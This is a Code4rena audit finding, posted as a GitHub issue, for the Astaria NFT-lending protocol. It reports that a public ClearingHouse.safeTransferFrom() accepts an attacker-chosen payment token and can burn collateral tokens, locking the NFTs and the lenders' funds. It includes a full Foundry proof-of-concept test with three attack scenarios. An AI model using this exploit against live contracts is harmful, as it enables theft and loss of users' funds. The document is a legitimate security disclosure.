search

code-423n4 / 2023-01-astaria-findings

5 stars 2 forks source link

Upgraded Q -> 3 from #460 [1677510923458] #637

Closed c4-judge closed 1 year ago

c4-judge commented 1 year ago

Judge has assessed an item in Issue #460 as 3 risk. The relevant finding follows:

Lines of code https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/ClearingHouse.sol#L169-L178 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/ClearingHouse.sol#L123 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/CollateralToken.sol#L538 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/CollateralToken.sol#L528-L530

Vulnerability details Impact The safeTransferFrom() function on the ClearingHouse is normally used when an OpenSea auction successfully ends and the required ERC20/WETH have been transferred to the ClearingHouse.

The clearing house implements its own ERC1155 token which is included in the OpenSeaa auction as a consideration. When the auction concludes a call is made to the ClearingHouse::SafeTransferFrom() function by OpenSea, triggering the further distribution of the ERC20/WETH to both the liquidator and the Vault. The ERC20 accepted as payment for the auction is derived from the identifier of the implemented ERC1155 SafeTransferFrom() function instead of the underlying asset of the vault. This means an attacker can inject the address of any ERC20 contract when calling this function (before the auction successfully ends). A fake WETH contract can be used to emulated the required balance of the clearing house to pass all the validations.

At the end of the TransferFrom() a call is made to the CollateralToken::settleAuction() thereby burning the collateral token making it inaccessible and the NFT locked in the clearing house. Any loan outstanding also cannot be paid back and the the OpenSea auction cannot accept any bids as the collateral token is burnt meaning the lenders will have lost those funds as well. It doesn't seem to be possible for the attacker to steal the NFT from clearing house though.

Additionally a bug in the CollateralToken::settleAuction() check to see if their actually is an auction active for the NFT makes that this attack can be even done from the very start of the loan. This also makes it possible to simply use 1 wei of real WETH instead of having to deploy a fake WETH token thereby actually reducing the cost and effort needed.

Proof of Concept The ClearingHouse::SafeTransferFrom() is a public function that can be called by anyone and doesn't have a requiresAuth modifier.

function safeTransferFrom( address from, // the from is the offerer address to, uint256 identifier, uint256 amount, bytes calldata data //empty from seaport ) public { //data is empty and useless _execute(from, to, identifier, amount); } The _execute() function derives the paymentToken from the encodedMetaData (which is the identifier used in the safeTransferFrom()) This address is then used to further determine if enough funds have been received in case of an actual auction. The same address is used to further distribute the (fake) funds and at the end the CollateralToken::settleAuction() is called.

function _execute( address tokenContract, // collateral token sending the fake nft address to, // buyer uint256 encodedMetaData, //retrieve token address from the encoded data uint256 // space to encode whatever is needed, ) internal { ... address paymentToken = bytes32(encodedMetaData).fromLast20Bytes(); ... uint256 payment = ERC20(paymentToken).balanceOf(address(this)); require(payment >= currentOfferPrice, "not enough funds received");

...
ERC20(paymentToken).safeTransfer(
  s.auctionStack.liquidator,
  liquidatorPayment
);
ERC20(paymentToken).safeApprove(
  address(ASTARIA_ROUTER.TRANSFER_PROXY()),
  payment - liquidatorPayment
);
ASTARIA_ROUTER.LIEN_TOKEN().payDebtViaClearingHouse(
  paymentToken,
  collateralId,
  payment - liquidatorPayment,
  s.auctionStack.stack
);
if (ERC20(paymentToken).balanceOf(address(this)) > 0) {
  ERC20(paymentToken).safeTransfer(
    ASTARIA_ROUTER.COLLATERAL_TOKEN().ownerOf(collateralId),
    ERC20(paymentToken).balanceOf(address(this))
  );
}

ASTARIA_ROUTER.COLLATERAL_TOKEN().settleAuction(collateralId);

} The CollaterlToken::settleAcution() function checks if there is an auction acive but the if statement also requires that the NFT is not owned by the clearing house anymore. This means that when there is no auction or the auction hasn't concluded yet this check passes. The internal _settleAuction is then called (which deletes the collateralIdToAuction[collateralId] state variable) and associated colalteral token. is finally burnt.

function settleAuction(uint256 collateralId) public { CollateralStorage storage s = _loadCollateralSlot(); if ( s.collateralIdToAuction[collateralId] == bytes32(0) && ERC721(s.idToUnderlying[collateralId].tokenContract).ownerOf( s.idToUnderlying[collateralId].tokenId ) != s.clearingHouse[collateralId] ) { revert InvalidCollateralState(InvalidCollateralStates.NO_AUCTION); } require(msg.sender == s.clearingHouse[collateralId]); _settleAuction(s, collateralId); delete s.idToUnderlying[collateralId]; _burn(collateralId); } A full working test script with 3 different scenarios (active auction with fake WETH, no auction with fake ETH and no auction with WETH9 ):

import "./TestHelpers.t.sol"; import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol"; contract C4Test is TestHelpers { using FixedPointMathLib for uint256; using CollateralLookup for address; using SafeCastLib for uint256;

uint256[] lienIds ;

function testBurnCollateralTokenSettlingNonExistingAuction() public { address alice = address(1); address bob = address(2); //create an NFT TestNFT nft = new TestNFT(6); uint256 tokenId = uint256(5); address tokenContract = address(nft); //create a public vault address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days });

//Bob lends 150 ETH to the vaule
_lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault);

//we provide the NFT and loan 100 ETH for 10 days
(uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({
  vault: publicVault,
  strategist: strategistOne,
  strategistPK: strategistOnePK,
  tokenContract: tokenContract,
  tokenId: tokenId,
  lienDetails: blueChipDetails,
  amount: 50 ether,
  isFirstLien: true
});

vm.startPrank(alice);
//compute the collateralId and get the ClearingHouse address
uint256 collateralId = tokenContract.computeId(tokenId);
ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId);
//prepare a fake ERC20
MockERC20 fakeEth = new MockERC20("FakeETH", "FAKE", uint8(18));
vm.label(address(fakeEth), "FakeETH");
//send enough fake ETH to the ClearingHouse to simulate a sell on OpenSea 
//This doesn't do anything but set the needed balance for the clearingHouse on the fake ETH contract
fakeEth.mint(address(CH), 1 ether);
uint256 injected = uint256(uint160(address(fakeEth)));
bytes memory data = '';

ICollateralToken CT = ASTARIA_ROUTER.COLLATERAL_TOKEN();
address owner = CT.ownerOf(collateralId);
console.log("Before attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner);

//Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to 
//distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH
//it also calls settleAuction() on the collateraltoken which burns the collateraltoken
CH.safeTransferFrom(address(0),address(0), injected, 1, data);
vm.stopPrank();

//ClearingHouse still owns the NFT
assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT.");
//CollateralToken is burnt so ownerOf reverts with NOT_MINTED
vm.expectRevert("NOT_MINTED");
owner = CT.ownerOf(collateralId);
console.log("After attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner);

//Try to make a payment which fails because of invalid state
uint256 amount = 100 ether;
vm.deal(address(this), 100 ether);
WETH9.deposit{value: amount}();
WETH9.approve(address(TRANSFER_PROXY), amount);
WETH9.approve(address(LIEN_TOKEN), amount);
vm.expectRevert(abi.encodeWithSelector(
    ILienToken.InvalidState.selector,
    ILienToken.InvalidStates.EMPTY_STATE
  )
);
LIEN_TOKEN.makePayment(
  stack[0].lien.collateralId,
  stack,
  0,
  amount
);

//waiting for the expirattion and trying to liquidate doesn't work either
vm.warp(block.timestamp + 11 days);
vm.expectRevert(abi.encodeWithSelector(
    ILienToken.InvalidState.selector,
    ILienToken.InvalidStates.EMPTY_STATE
  )
);
OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate(
  stack,
  uint8(0)
);

}

function testFailAuctionAfterFakeSettlement() public { address alice = address(1); address bob = address(2); address carol = address(3); //create an NFT TestNFT nft = new TestNFT(6); uint256 tokenId = uint256(5); address tokenContract = address(nft); //create a public vault address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days });

//Bob lends 150 ETH to the vaule
_lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault);

//we provide the NFT and loan 100 ETH for 10 days
(uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({
  vault: publicVault,
  strategist: strategistOne,
  strategistPK: strategistOnePK,
  tokenContract: tokenContract,
  tokenId: tokenId,
  lienDetails: blueChipDetails,
  amount: 50 ether,
  isFirstLien: true
});

//skip to over the expiration of the loan and call liquidate listing the item for sale on OS
vm.warp(block.timestamp + 11 days);
//Carol initiates the liquidatoin creating the Auction
vm.startPrank(carol);
OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate(
  stack,
  uint8(0)
);
vm.stopPrank();

//Then Alice attacks using safeTransfer() on the clearingHouse using a fake ERC20 token
vm.startPrank(alice);
//compute the collateralId and get the ClearingHouse address
uint256 collateralId = tokenContract.computeId(tokenId);
ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId);
//prepare a fake ERC20
MockERC20 fakeEth = new MockERC20("FakeETH", "FAKE", uint8(18));
vm.label(address(fakeEth), "FakeETH");
//send enough fake ETH to the ClearingHouse to simulate a sell on OpenSea 
//This doesn't do anything but set the needed balance for the clearingHouse on the fake ETH contract
fakeEth.mint(address(CH), 1000 ether);
uint256 injected = uint256(uint160(address(fakeEth)));
bytes memory data = '';

//Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to 
//distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH
//it also calls settleAuction() on the collateraltoken which burns the collateraltoken
CH.safeTransferFrom(address(0),address(0), injected, 1, data);
vm.stopPrank();

//ClearingHouse still owns the NFT
assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT.");

//Auction on OpenSEA doesn't work anymore
//ultimately fails with "NOT_MINTED" on LIEN_TOKEN::payDebtViaClearingHouse as the collateraltoken doesn't exist anymore 
_bid(Bidder(bidder, bidderPK), listedOrder, 10 ether);

}

function testOneWeiSettlingNonExistingAuction() public { address alice = address(1); address bob = address(2); //create an NFT TestNFT nft = new TestNFT(6); uint256 tokenId = uint256(5); address tokenContract = address(nft); //create a public vault address publicVault = _createPublicVault({ strategist: strategistOne, delegate: strategistTwo, epochLength: 14 days });

//Bob lends 150 ETH to the vaule
_lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault);

//we provide the NFT and loan 100 ETH for 10 days
(uint256[] memory Ids, ILienToken.Stack[] memory stack) = _commitToLien({
  vault: publicVault,
  strategist: strategistOne,
  strategistPK: strategistOnePK,
  tokenContract: tokenContract,
  tokenId: tokenId,
  lienDetails: blueChipDetails,
  amount: 50 ether,
  isFirstLien: true
});

vm.startPrank(alice);
//compute the collateralId and get the ClearingHouse address
uint256 collateralId = tokenContract.computeId(tokenId);
ClearingHouse CH = COLLATERAL_TOKEN.getClearingHouse(collateralId);
vm.deal(alice, 1 wei);
WETH9.deposit{value: 1 wei}();
WETH9.transfer(address(CH), 1 wei);
uint256 injected = uint256(uint160(address(WETH9)));
bytes memory data = '';

ICollateralToken CT = ASTARIA_ROUTER.COLLATERAL_TOKEN();
address owner = CT.ownerOf(collateralId);
console.log("Before attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner);

//Here we trigger the ClearingHouse to settle the theoretical auction which is supposed to 
//distribute the ETH to the liquidator and the vault, but now just does so with Fake ETH
//it also calls settleAuction() on the collateraltoken which burns the collateraltoken
CH.safeTransferFrom(address(0),address(0), injected, 1, data);
vm.stopPrank();

//ClearingHouse still owns the NFT
assertEq(ERC721(tokenContract).ownerOf(tokenId), address(CH), "Clearinghouse does not own the NFT.");
//CollateralToken is burnt so ownerOf reverts with NOT_MINTED
vm.expectRevert("NOT_MINTED");
owner = CT.ownerOf(collateralId);
console.log("After attack: ownerOf collateralToken for collateral %s: %s", collateralId, owner);

//Try to make a payment which fails because of invalid state
uint256 amount = 100 ether;
vm.deal(address(this), 100 ether);
WETH9.deposit{value: amount}();
WETH9.approve(address(TRANSFER_PROXY), amount);
WETH9.approve(address(LIEN_TOKEN), amount);
vm.expectRevert(abi.encodeWithSelector(
    ILienToken.InvalidState.selector,
    ILienToken.InvalidStates.EMPTY_STATE
  )
);
LIEN_TOKEN.makePayment(
  stack[0].lien.collateralId,
  stack,
  0,
  amount
);

//waiting for the expirattion and trying to liquidate doesn't work either
vm.warp(block.timestamp + 11 days);
vm.expectRevert(abi.encodeWithSelector(
    ILienToken.InvalidState.selector,
    ILienToken.InvalidStates.EMPTY_STATE
  )
);
OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate(
  stack,
  uint8(0)
);

} }

c4-judge commented 1 year ago

Picodes marked the issue as duplicate of #521

c4-judge commented 1 year ago

Picodes marked the issue as satisfactory